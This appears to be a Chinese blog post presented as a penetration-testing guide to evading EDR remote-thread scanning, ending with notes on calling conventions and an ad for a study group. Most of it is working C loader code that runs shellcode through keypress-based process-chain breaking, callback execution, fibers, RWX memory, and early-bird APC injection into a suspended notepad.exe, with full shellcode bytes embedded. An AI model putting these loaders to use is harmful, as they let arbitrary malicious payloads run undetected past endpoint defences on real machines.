渗透测试:EDR绕过远程线程扫描指南

前记

触发EDR远程线程扫描关键api:createprocess、createremotethread、void(指针)、createthread。

为了更加的opsec,尽量采取别的方式执行恶意代码,下面简单给出一些思路:

进程断链

#include <windows.h>
  #include<iostream>
  void SimulateKeyPress(WORD keyCode) {
      INPUT inputs[2] = {};
      ZeroMemory(inputs, sizeof(inputs));
      inputs[0].type = INPUT_KEYBOARD;
      inputs[0].ki.wVk = keyCode;
      Sleep(500);
      inputs[1].type = INPUT_KEYBOARD;
      inputs[1].ki.dwFlags = KEYEVENTF_KEYUP;
      UINT uSent = SendInput(2, inputs, sizeof(INPUT));
  }
  int main()
  {
      // 调用 ShellExecute 函数,执行一个命令
      HINSTANCE  hReturn = ShellExecuteA(NULL, "explore", "C:\\security\\tmp", NULL, NULL, SW_HIDE);//SW_RESTORE
      if ((int)hReturn < 32) {
          printf("0");
          return 0;
      }
      printf("% d", (int)hReturn);
      HWND hExplorer = FindWindowA("CabinetWClass", NULL);
      if (hExplorer) {
          // 将资源管理器窗口设置为前台窗口
          SetForegroundWindow(hExplorer);
      }
      else {
          printf("Explorer window not found.\n");
      }
      SimulateKeyPress(0x32);//这里以ascii为参数,实际为'2.exe'
      SimulateKeyPress(VK_RETURN);
      return 0;
  }

通过模拟键盘点击,完成进程断链,父进程为explore。

进程断链相比于父进程欺骗更加安全,但是在核晶环境下会被禁止模拟键盘的行为

回调执行

回调可以很好的规避EDR对远程线程的内存扫描,举例如下

 #include <windows.h>
  #include<iostream>
  //calc shellcode
  unsigned char rawData[276] = {};
  int main()
  {
      LPVOID addr = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      memcpy(addr, rawData, sizeof(rawData));
      EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)addr, NULL);
      return 0;
  }

纤程

纤程允许在单个线程中有多个执行流,每个执行流都有自己的寄存器状态和堆栈。另一方面,纤程对内核是不可见的,这使得它们成为一种比生成新线程更隐秘的内存代码执行方法。

#include <windows.h>
  void like() {
      //calc shellcode
      unsigned char rawData[276] = {
          0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
          0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
          0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
          0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
          0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
          0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
          0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
          0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
          0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
          0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
          0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
          0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
          0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
          0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
          0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
          0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
          0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
          0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
          0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
          0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
          0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
          0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
          0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
      };
      LPVOID fiber = ConvertThreadToFiber(NULL);
      LPVOID Alloc = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
      CopyMemory(Alloc, rawData, sizeof(rawData));
      LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);
      SwitchToFiber(shellFiber);
  }
  int main() {
      like();
  }

 

内存属性修改

内存属性修改流程:RW->NA->sleep->RW->NA->sleep->Rx->CreateThread->ResumeThread

让EDR扫描内存时处于无权限状态即可。

early bird+Mapping

 early bird,APC注入的变种
  Mapping:内存映射

·创建一个挂起的进程(通常是windows的合法进程)

· 在挂起的进程内申请一块可读可写可执行的内存空间

· 往申请的空间内写入shellcode

· 将APC插入到该进程的主线程

· 恢复挂起进程的线程

#include <Windows.h>
  #include <iostream>
  #pragma comment (lib, "OneCore.lib")
  void mymemcpy(void* dst, void* src, size_t size);
  int main()
  {
      //calc shellcode
      unsigned char rawData[276] = {
      0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
      0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
      0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
      0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
      0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
      0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
      0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
      0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
      0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
      0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
      0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
      0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
      0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
      0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
      0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
      0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
      0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
      0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
      0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
      0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
      0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
      0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
      0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
      };
      LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";
      STARTUPINFO sInfo = { 0 };
      PROCESS_INFORMATION pInfo = { 0 };
      sInfo.cb = sizeof(STARTUPINFO);
      CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&sInfo, &pInfo);
      HANDLE hProc = pInfo.hProcess;
      HANDLE hThread = pInfo.hThread;
      HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(rawData), NULL);
      LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(rawData));
      mymemcpy(lpMapAddress, rawData, sizeof(rawData));
      LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProc, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
      QueueUserAPC(PAPCFUNC(lpMapAddressRemote), hThread, NULL);
      ResumeThread(hThread);
      CloseHandle(hThread);
      CloseHandle(hProc);
      CloseHandle(hMapping);
      UnmapViewOfFile(lpMapAddress);
      return 0;
  }
  void mymemcpy(void* dst, void* src, size_t size)
  {
      char* psrc, * pdst;
      if (dst == NULL || src == NULL)
          return;
      if (dst <= src)
      {
          psrc = (char*)src;
          pdst = (char*)dst;
          while (size--)
              *pdst++ = *psrc++;
      }
      else
      {
          psrc = (char*)src + size - 1;
          pdst = (char*)dst + size - 1;
          while (size--) {
              *pdst-- = *psrc--;
          }
      }
  }

后记

传参规则

 #include<iostream>
  using namespace std;
  void func(int a, int b)
  {
  cout << "func:\n";
  cout << "a = " << a << "\tb = " << b << endl;
  }
  int main(void)
  {
  int v = 3;
  func(v, v++);
  cout << "v=" << v;
  v = 3;
  func(v, ++v);
  v = 3;
  func(++v, v);
  v = 3;
  func(v++, v);
  return 0;
  }
  func:
  a = 3 b = 3
  v=4
  func:
  a = 4 b = 4
  func:
  a = 4 b = 4
  func:
  a = 3 b = 3

函数声明区别

__cdecl:

C/C++默认方式,参数从右向左入栈,主调函数负责栈平衡。

__stdcall:

windows API默认方式,参数从右向左入栈,被调函数负责栈平衡。

__fastcall:

快速调用方式。所谓快速,这种方式选择将参数优先从寄存器传入(ECX和EDX),剩下的参数再从右向左从栈传入。

在x86下出现明显特征:

19: func1(4, 5);//__cdecl
  00981B31 6A 05                push        5  
  00981B33 6A 04                push        4  
  00981B35 E8 2D F7 FF FF       call        func1 (0981267h)  
  00981B3A 83 C4 08             add         esp,8  
      20: func2(4, 5);//__stdcall
  00981B3D 6A 05                push        5  
  00981B3F 6A 04                push        4  
  00981B41 E8 62 F7 FF FF       call        func2 (09812A8h)  
      21: func3(4, 5);//__fastcall
  00981B46 BA 05 00 00 00       mov         edx,5  
  00981B4B B9 04 00 00 00       mov         ecx,4  
  00981B50 E8 2C F6 FF FF       call        func3 (0981181h)  

自实现copymemory

void mymemcpy(void* dst, void* src, size_t size)
  {
      char* psrc, * pdst;
      if (dst == NULL || src == NULL)
          return;
      if (dst <= src)
      {
          psrc = (char*)src;
          pdst = (char*)dst;
          while (size--)
              *pdst++ = *psrc++;
      }
      else
      {
          psrc = (char*)src + size - 1;
          pdst = (char*)dst + size - 1;
          while (size--) {
              *pdst-- = *psrc--;
          }
      }
  }
​现在我也找了很多测试的朋友,做了一个分享技术的交流群,共享了很多我们收集的技术文档和视频教程。
如果你不想再体验自学时找不到资源,没人解答问题,坚持几天便放弃的感受
可以加入我们一起交流。而且还有很多在自动化,性能,安全,测试开发等等方面有一定建树的技术大牛
分享他们的经验,还会分享很多直播讲座和技术沙龙
可以免费学习!划重点!开源的!!!
qq群号:485187702【暗号:csdn11】

最后感谢每一个认真阅读我文章的人,看着粉丝一路的上涨和关注,礼尚往来总是要有的,虽然不是什么很值钱的东西,如果你用得到的话可以直接拿走! 希望能帮助到你!【100%无套路免费领取】

  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值